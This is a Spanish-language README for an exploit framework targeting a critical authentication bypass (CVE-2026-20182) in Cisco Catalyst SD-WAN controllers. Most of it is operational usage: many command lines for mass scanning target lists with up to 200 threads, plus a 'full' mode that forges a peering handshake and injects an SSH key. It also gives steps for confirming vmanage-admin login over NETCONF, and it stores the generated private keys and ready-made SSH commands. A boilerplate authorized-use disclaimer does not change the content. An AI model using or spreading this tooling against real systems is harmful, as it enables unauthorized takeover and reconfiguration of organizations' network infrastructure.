
Omisión de autenticación de peering de Cisco Catalyst SD-WAN
Omisión de autenticación de peering en Cisco Catalyst SD-WAN
Herramienta de evaluación para pruebas autorizadas de la omisión de autenticación de peering en Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).
| CVE | CVE-2026-20182 |
| Gravedad | Crítica (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Producto | Cisco Catalyst SD-WAN Controller (anteriormente vSmart) · Cisco Catalyst SD-WAN Manager (anteriormente vManage) |
| Problema | El mecanismo de autenticación de peering no se aplica correctamente |
| Script | CVE-2026-20182.py |
Aviso de mayo de 2026: Un fallo en el handshake de conexión de control / autenticación de peering permite que un atacante remoto no autenticado omita la autenticación y obtenga acceso interno con privilegios elevados en los sistemas afectados.
Un atacante envía solicitudes manipuladas al sistema afectado. Si tiene éxito, el atacante puede autenticarse como una cuenta interna, con privilegios elevados y no root y alcanzar NETCONF, lo que permite manipular la configuración del fabric de SD-WAN.
Recomendación: Aplique los parches de seguridad de Cisco según las indicaciones oficiales del proveedor. Restrinja la exposición del plano de gestión, supervise las conexiones del plano de control y audite los controladores SD-WAN para detectar cambios de configuración no autorizados.
Telegram: @KNxploited
CVE-2026-20182.pyMarco de explotación en Python 3 para CVE-2026-20182 contra vdaemon de Cisco SD-WAN (UDP/DTLS 12346).
Respaldo de fabric: Ante TEAR_DOWN o discrepancia de parámetros, reintenta con los valores alternativos de domain/site (1,100), (1,1), (0,0) a menos que se use --no-fallback.
Importante
check → como máximo nivel 03 (sonda de bypass). No es prueba de explotación completa.full → apunta al nivel 01 (ssh_verified).https://host en la lista → solo sugerencia web TCP (80/443). No es DTLS UDP en el 443.pip install -r requirements.txt
Windows
bin\ al PATH o establezca:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
La herramienta sale al inicio si no se puede cargar OpenSSL.
python CVE-2026-20182.py
0 = INICIAR ESCANEOcheck (sonda de bypass segura)python CVE-2026-20182.py -y
CHECK — solo sonda de bypass
python CVE-2026-20182.py -y --mode check
FULL — inyectar clave y verificar SSH (solo objetivos autorizados)
python CVE-2026-20182.py -y --mode full
-f / --file — lista de objetivos (predeterminado: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — subprocesos de trabajo (1–200, predeterminado 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — DOMAIN_ID predeterminado cuando no está en la lista (predeterminado: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — SITE_ID predeterminado cuando no está en la lista (predeterminado: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — omitir el menú interactivo; usar solo valores de CLI
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — omitir la prueba SSH posterior a la inyección (no recomendado en modo full)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — probar también TCP 22 después de 830
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — solo UDP 12346; ignorar :port de la lista
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — laboratorio: puertos UDP adicionales en cada host
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — deshabilitar el reintento domain/site ante TEAR_DOWN
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full
-v / --verbose — registrar cada mensaje de protocolo TX/RX
python CVE-2026-20182.py -y -v -f targets.txt --mode check
-y)targets.txtUn objetivo por línea. Las líneas que empiezan por # se ignoran.
Archivo de ejemplo
# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1
No compatible: IPv6 (solo IPv4 / nombre de host).
Ejemplo de comando SSH (nivel 01)
ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N
python CVE-2026-20182.py -y -f targets.txt --mode check -t 24
Revise cisco_sdwan_03_bypass_only.jsonl y las estadísticas en vivo Solo bypass.
python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8
Revise cisco_sdwan_01_confirmed_ssh.jsonl — único archivo con ssh_verified: true.
python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback
check — no escribe claves ni prueba SSH por sí mismo.ssh_verified=true solo en modo full.TEAR_DOWN después de CHALLENGE_ACK; active el respaldo de fabric o corrija domain/site en la lista.sdwan_keys/ ni de los resultados del escaneo en repositorios públicos.Este software es solo para investigación de seguridad autorizada, evaluación defensiva y educación.
Debe tener permiso explícito por escrito para probar cualquier sistema que no posea u opere. El acceso no autorizado a sistemas informáticos es ilegal. El autor no es responsable del mal uso, daños o consecuencias legales derivados del uso de esta herramienta.
Úselo únicamente en sistemas y redes donde esté explícitamente autorizado para realizar pruebas de seguridad.
Por: Nxploited ( Khaled Alenazi )
| Elemento | Detalle |
|---|
| Vector de ataque | Red |
| Privilegios requeridos | Ninguno |
| Interacción del usuario | Ninguna |
| Alcance | Cambiado |
| Impacto | Confidencialidad, integridad y disponibilidad: alta |
| Paso | Fase | Descripción |
|---|
| 1 | Cargar objetivos | Analiza targets.txt y combina duplicados por (host, domain_id, site_id) |
| 2 | Comprobación previa de OpenSSL | Carga las bibliotecas compartidas de OpenSSL 3.x/4.x para DTLS personalizado |
| 3 | Conexión DTLS | Conecta al puerto UDP objetivo (siempre 12346 primero y luego los puertos opcionales de la lista) |
| 4 | CHALLENGE | Recibe el CHALLENGE (0x08) del servidor |
| 5 | CHALLENGE_ACK | Envía un CHALLENGE_ACK manipulado como vHub (tipo 2) — omisión de autenticación |
| 6 | Hello | Completa el intercambio Hello — confirma la ruta de omisión |
| 7a | Modo CHECK | Detenerse aquí — registrar solo bypass / Hello OK (sin claves, sin SSH) |
| 7b | Modo FULL | Inyectar la clave pública SSH mediante VMANAGE_TO_PEER |
| 8 | ACK de inyección | Esperar REGISTER_TO_VMANAGE (0x0D) como confirmación de protocolo |
| 9 | Verificación SSH | Probar el inicio de sesión como vmanage-admin en TCP 830 (NETCONF), opcionalmente 22 |
| 10 | Salida | Clasificar los hallazgos en archivos por niveles + lista de comandos legible |
| Nivel | Archivo | Significado |
|---|
| 01 — SSH confirmado | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — único nivel tratado como prueba de compromiso total |
| 02 — Solo inyección ACK | cisco_sdwan_02_inject_ack_only.jsonl | El protocolo aceptó la inyección de clave; falló el inicio de sesión SSH |
| 03 — Solo bypass | cisco_sdwan_03_bypass_only.jsonl | Hello/bypass correctos; sin inyección confirmada |
| Requisito | Notas |
|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | Bibliotecas compartidas 3.x o 4.x (libssl + libcrypto) — obligatorio |
| Modo | Opción | Inyección SSH | Verificación SSH | Úsalo cuando |
|---|
| CHECK | --mode check (predeterminado) | No | No | Cribado masivo, detección de bypass |
| FULL | --mode full | Sí | Sí (salvo --no-ssh-verify) | Prueba de compromiso |
| # | Opción |
|---|
| 1 | Archivo de objetivos |
| 2 | Subprocesos de trabajo |
| 3 | DOMAIN_ID predeterminado |
| 4 | SITE_ID predeterminado |
| 5 | Modo: check / full |
| 6 | Reintento automático de fabric ante TEAR_DOWN |
| 7 | Registro de protocolo verboso |
| 8 | Verificación SSH después de la inyección |
| 9 | Verificar también SSH :22 |
| 10 | Intentar puertos UDP explícitos de la lista |
| 11 | Puertos UDP adicionales (laboratorio) |
| 12 | Mostrar ayuda sobre el formato de la lista |
| 0 | ▶ INICIAR ESCANEO |
| Formato | Ejemplo | Comportamiento |
|---|
| IP / nombre de host | 10.0.0.1 | UDP 12346 + domain/site predeterminados |
| IP + puerto UDP | 10.0.0.2:12346 | Probar también el puerto UDP de la lista |
| IP + puerto + domain + site | 10.0.0.3:12346:1:100 | Tupla de fabric completa |
| URL HTTPS | https://10.0.0.4 | Solo sugerencia de host + TCP 443 (no UDP/443) |
| URL HTTP | http://10.0.0.5 | Solo sugerencia TCP 80 |
| URL UDP | udp://10.0.0.6:12346 | UDP explícito |
| Separado por tabulador/comas | 10.0.0.7 12346 1 100 | Igual que el formato de cuatro campos |
| Clave=valor | 10.0.0.8;port=12346;domain=1;site=100 | Sintaxis KV con punto y coma |
| Archivo | Contenido |
|---|
cisco_sdwan_results.jsonl | Resultado JSON bruto por intento |
cisco_sdwan_success.txt | Líneas SSH confirmadas (separadas por tabulador) |
cisco_sdwan_01_confirmed_ssh.jsonl | Nivel 01 — SSH verificado |
cisco_sdwan_02_inject_ack_only.jsonl | Nivel 02 — inyección ACK, SSH falló |
cisco_sdwan_03_bypass_only.jsonl | Nivel 03 — solo bypass / Hello |
cisco_sdwan_commands.txt | Comandos SSH legibles |
cisco_sdwan_findings.json | Resumen de sesión y contadores |
sdwan_keys/ | Claves privadas generadas (modo full) |
| Contador | Significado |
|---|
| Progreso | Objetivos completados / total |
| SSH verificado | Recuento del nivel 01 |
| Inyección ACK | Recuento del nivel 02 |
| Solo bypass | Recuento del nivel 03 |
| Fallidos | Errores / sin bypass |